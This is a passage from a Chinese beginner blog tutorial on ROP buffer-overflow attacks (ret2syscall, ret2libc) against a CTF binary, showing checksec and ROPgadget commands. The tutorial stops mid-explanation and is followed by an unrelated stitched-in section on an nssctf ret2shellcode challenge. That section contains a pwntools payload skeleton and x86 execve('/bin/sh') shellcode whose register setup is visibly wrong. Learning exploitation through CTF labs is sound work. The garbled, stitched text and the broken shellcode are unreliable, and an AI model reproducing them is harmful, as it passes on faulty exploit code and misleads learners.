pwn入门(3):缓冲区溢出ROP攻击(ret2syscall+ret2libc)

本文详细介绍了如何利用ROP技术进行ret2syscall和ret2libc1攻击,包括环境检测、漏洞利用、系统调用参数设置和gadgets的寻找与利用,展示了获取shell的过程,帮助读者理解ROP攻击的基本原理和步骤。

前两篇博客讲述了解pwn题的环境配置和ROP攻击的原理,以及两道最基本的ROP攻击题目,详情见:

(59条消息) pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_Bossfrank的博客-优快云博客(59条消息) pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)_Bossfrank的博客-优快云博客本节我们再继续介绍ROP攻击的两个基本实例。

ret2syscall    

二进制下载链接为点此处下载ret2syscall 

与ret2text和ret2shellcode一样,我们先检测程序开启的保护,命令(把二进制程序改名为ret2syscall):

checksec ret2syscall

 发现开启了NX防护措施,源程序为 32 位

 查看IDA pro(按F5),同样存在溢出点gets函数:

 然后我们再搜一搜有没有类似syscall函数和'/bin/sh'字符串这样的特征可以利用,发现确实有'/bin/sh'字符串,位于0x080be408

当然,也可以用ROPgadget搜索'/bin/sh',命令如下:

ROPgadget --binary ret2syscall --string '/bin/sh'

 也可找到字符串所在地址,为0x080be408

 然后貌似也没有其他有价值的东西可直接利用了。我们可以尝试利用系统调用,但如何给 syscall 传参呢

### nssctf ret2shellcode 解题思路和技巧 在处理涉及 `ret2shellcode` 的漏洞利用时,核心概念在于找到可执行内存区域并成功注入 shellcode。对于 nssctf 中的此类挑战,通常需要考虑以下几个方面: #### 寻找合适的地址空间布局随机化(ASLR)绕过方法[^1] 当面对开启了 ASLR 的目标程序时,直接定位到特定位置变得困难重重。此时可以借助信息泄露漏洞来获取堆栈基址或其他重要模块加载地址;也可以寻找未受保护的服务端口或文件映射作为稳定入口。 #### 利用已知偏移量计算返回地址 如果存在某些固定不变的数据结构或者函数指针表,则可以通过静态分析确定其相对于其他部分的位置关系,在此基础上构建可靠的 ROP 链条以调整寄存器状态,并最终指向预先准备好的 shellcode 地区[^4]。 ```python from pwn import * # 假设已经找到了一个稳定的泄漏点用于绕过ASLR leak_address = ... # 泄露的具体地址值 # 计算得到 libc base 和 system 函数的实际地址 libc_base = leak_address - offset_to_libc_start_main_ret system_addr = libc_base + offset_of_system_function_in_libc payload = b'A' * buffer_size_until_return_address payload += pack(system_addr, 32) # 将 system() 放置为新的 EIP/RIP ``` #### 注入有效载荷——编写自定义 ShellCode 考虑到现代操作系统普遍启用了多种防护机制如 DEP/NX bit ,因此需特别注意选择具有 execute 权限的目标缓冲区内存页写入 payload 。此外还需确保所编写的机器码能够在不同架构下正常工作,比如 x86 vs ARM 等差异。 ```assembly section .text global _start _start: ; execve("/bin/sh", NULL, NULL); xor eax, eax ; 清零 EAX 寄存器 (对应 syscall number) push eax ; argv[0]=NULL -> stack top mov ebx, esp ; EBX=argv[] array pointer push '/sh' push '//bi' mov ecx, esp ; ECX="/bin/sh" string ptr xor edx, edx ; envp[]=NULL int 0x80 ; 执行系统调用中断请求 ```
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Boss_frank

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值